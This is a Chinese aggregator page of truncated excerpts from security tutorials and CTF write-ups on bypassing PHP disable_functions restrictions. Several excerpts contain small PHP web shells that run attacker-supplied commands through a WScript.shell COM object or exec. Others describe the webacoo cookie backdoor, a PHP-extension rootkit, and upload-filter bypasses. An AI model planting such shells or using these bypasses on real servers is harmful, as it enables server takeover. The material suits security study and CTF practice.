PHP绕过disable_function限制(一)】的更多相关文章

测试环境 php 5.4.5 0x01 利用系统组件绕过 1.window com组件(php 5.4)(高版本扩展要自己添加) (COM组件它最早的设计意图是,跨语言实现程序组件的复用.) 测试: <?php $command=$_GET['a']; $wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能 $exec = $wsh->exec("cmd /c".$command); //调用对象方…
PHP绕过disable_function 常规绕过 exec exec执行command命令,但是不会输出全部结果,而是返回结果的最后一行. 想得到全部的结果,可以使用第二个参数,让其输出到一个数组,数组的每一个记录代表了输出的每一行. <?php exec('ipconfig',$arr); print_r($arr) ?> shell_exec 是反撇号 ` 操作符的变体. <?php echo `ipconfig`; system 同passthru差不多 <?php sy…
windows 1.com组件绕过 <?php$command=$_POST['a'];$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutpu…
webacoo(web backdoor cookie) 类终端的shell 编码通信内容通过cookie头传输,隐蔽性较强 cm:base64编码的命令 cn:服务器用于返回数据的cookie头的名 cp:返回信息定界符 选项:   -f 系统函数使用功能1:system(默认)2:shell_exec3:exec4:passthru5:popen -g生成后门代码(需要-o)   -o 生成的输出文件名   -r 不混淆后门代码   -t 建立后门连接(需要-u)   -u 后门URL地址 …
看到Freebuf 小编发表的用这个隐藏于PHP模块中的rootkit,就能持久接管服务器文章,很感兴趣,苦无作者没留下PoC,自己研究一番,有了此文 0×00. 引言 PHP是一个非常流行的web server端的script语言.目前很多web应用程序都基于php语言实现.由于php是个开源软件并易于扩展,所以我们可以通过编写一个PHP模块(module 或者叫扩展 extension)来实现一个Backdoor. 本文就简单介下如何一步步编写一个简单的php 动态扩展后门. 0×01. p…
1.web1-chkin 首先发现服务器中间件为nginx,并且fuzz上传过滤情况,是黑名单,带ph的全部不能上传切对文件内容中包含<?进行过滤,并且服务器对文件头有exif_type的判断,直接通过xbm格式绕过,传.htaccess和.user.ini是可以的,又因为此题为nginx,所以通过.user.ini结合文件夹中已经有的index.php使其包含上传的shell.png来getshell即可 2.web2-easyphp 做的时候思路也很明确,通过eval来调用get_the_f…
1.EZcms 这道题思路挺明确,给了源码,考点就是md5哈希扩展+phar反序列化 首先这道题会在上传的文件目录下生成无效的.htaccess,从而导致无法执行上传的webshell,所以就需要想办法删除掉.htaccess 这里主要记录一点,利用php内置类进行文件操作, exp为: <?php class File{ public $filename; public $filepath; public $checker; function __construct() { $this->c…
比赛中或者渗透中如果遇到phpinfo,从里面发现的一些线索能够对后续的渗透和解题帮助很大,这里记录总结一下目前网上比较常用的的. 下图来源于:https://seaii-blog.com/index.php/2017/10/25/73.html 1.绝对路径(_SERVER["SCRIPT_FILENAME"]) 2.支持的程序 可以看看服务器是否加载了redis.memcache.mongodb.mysql.curl,如果加载了,那么就可以适当往这几个方面考虑,还可以看看是否支持g…
前面考察取反或者异或绕过,后面读Flag那里我用脏方法过了,没看出来考察啥 进入题目给出源码: <?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."…
Bottleneck 端口扫描,主机发现. 敏感目录为:http://192.168.114.165/image_gallery.php 在该目录下发现:http://192.168.114.165/image_gallery.php?t=1596116082&f=Ym90dGxlbmVja19kb250YmUucG5n 这个看起来是有一个base64加密的,解密后为bottleneck_dontbe.png换成passwd文件. 更改了之后没有任何反应,觉得可能是有校对机制,例如时间戳在t参数…